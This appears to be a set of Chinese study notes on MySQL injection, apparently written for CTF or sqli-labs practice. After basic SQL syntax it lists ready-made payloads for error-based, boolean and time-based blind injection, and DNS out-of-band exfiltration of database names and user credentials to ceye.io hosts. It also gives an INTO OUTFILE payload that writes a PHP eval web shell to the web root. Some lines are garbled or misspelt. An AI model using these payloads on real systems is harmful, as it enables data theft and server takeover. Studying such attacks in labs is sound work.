?基礎查詢語句:
給指定字段添加數據
insert into 表名(字段名1,字段名2,.....) values(值1,值2,......);
給全部字段添加數據
insert into 表名 values (值1,值2,.....);--無限制條件的修改,會修改整張表
update 表名 set 字段 = 值;
--有限制條件的修改,只修改特定記錄
update 表名 set 字段 = 值 where 條件(字段 = 值);replace
要確定表中是否已存在新行,MySQL使用PRIMARY KEY或UNIQUE KEY 索引。如果表沒有這些索引之一,則REPLACE語句等同于INSERT語句。
replace into 表名 VALUES(6,'wokou','新九州島','日本')
?
select + 列名 from +表名 where +限制
select * from users where name in ('zxp');? //查詢所有name ='zxp'??1為填充列,union查詢后邊查詢的列必須和前邊的列相等
select * from users where id=6 union select *,1 from emails where id=6;由于頁面只會回顯一行,則需要將前邊語句不成立,union查詢的結果便會顯示
select * from use where id=-1 union select 1,2,3#查詢三列group by進行分組,分組不能超過查詢的列數,2 3 為填充列
select name,2,3 from user group by 2 按第3列分組order 按照第幾列進行排序
select name,2,3 from user group by 1 按照第一列排序limit 限制輸出行數
select * from user limit 0,3 從第一行開始輸出3行
一、報錯注入:
substr
1.extractvalue:注意
extractvalue updatexml都只能顯示最多32個字符?
需要用substr mid 截取
extractvalue() 第一個參數 XML文檔名稱 ,第二個參數 路徑
select extractvalue(doc,'/book/author/surname') from xml
如果路徑的第一個字符錯了,就會報錯??
?id=0'union select 1,2,extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,30)
from information_schema.schemata)))--+
2.updatexml(xml_document,xpath_string,new_value)??
select undatexml(doc,'/book/auther/surname','1') from xml
更改路徑的符號會報錯
select undatexml(doc,'~book/auther/surname','1') from xml
如果沒有用group_concat需要用limit?控制輸出第幾行
?id=1")union select 1,2,updatexml(1,concat(0x7e,(select mid(schema_name,1,30) from information_schema.schemata limit 0,1), 0x7e),1)--+
3.floor
rand()返回0~1間的小數? ?
floor向下取整? ceiling向上取整
concat_ws() 將括號里的數據用第一個字段連接起來
as 用于取別名
count() 匯總統計數量
?id=0" union select 1,count(*),concat_ws('-',(select substr(group_concat(table_name),1,30)
from information_schema.tables where table_schema='ctftraining'),floor(rand(0)*2)) as a from information_schema.tables group by a--+
from information_schema.tables這個是為了讓行數多一點,
4.DNS外帶?
?dnslog帶外注入需要有文件讀取的操作權限才能進行。
僅限于windos環境
?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+
因為在load_file里面不能使用@ ~等符號所以要區分數據我們可以先用group_ws()函數分割在用hex()函數轉成十六進制即可 出來了再轉回去
' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
二、盲注
1.布爾盲注
?id=1'and ascii(substr((select group_concat(table_name) from
information_schema.tables where table_schema=database()),1,1))>40--+
2.時間盲注
?id=1'and if( ascii(substr((select group_concat(table_name) from
information_schema.tables where table_schema=database()),1,1))>410,sleep(0),sleep(2))--+
三 、文件寫入
1.into outfile
需要mysql數據庫開啟secure-file-priv寫文件權限,否則不能寫入文件。?
查看是否有寫入權限
show variables like '%secure%'
其中當參數 secure_file_priv 為空時,對導入導出無限制
當值為一個指定的目錄時,只能向指定的目錄導入導出當值被設置為NULL時,禁止導入導出功能
使用條件
-
root權限
-
GPC關閉(能使用單引號)
-
有絕對路徑(讀文件可以不用,寫文件必須)
-
沒有配置—secure-file-priv
?id=-1')) union select 1,2,"<?php @eval($_POST['password');?" into outfile "/var/www/html1.php"--+
三.DNS外帶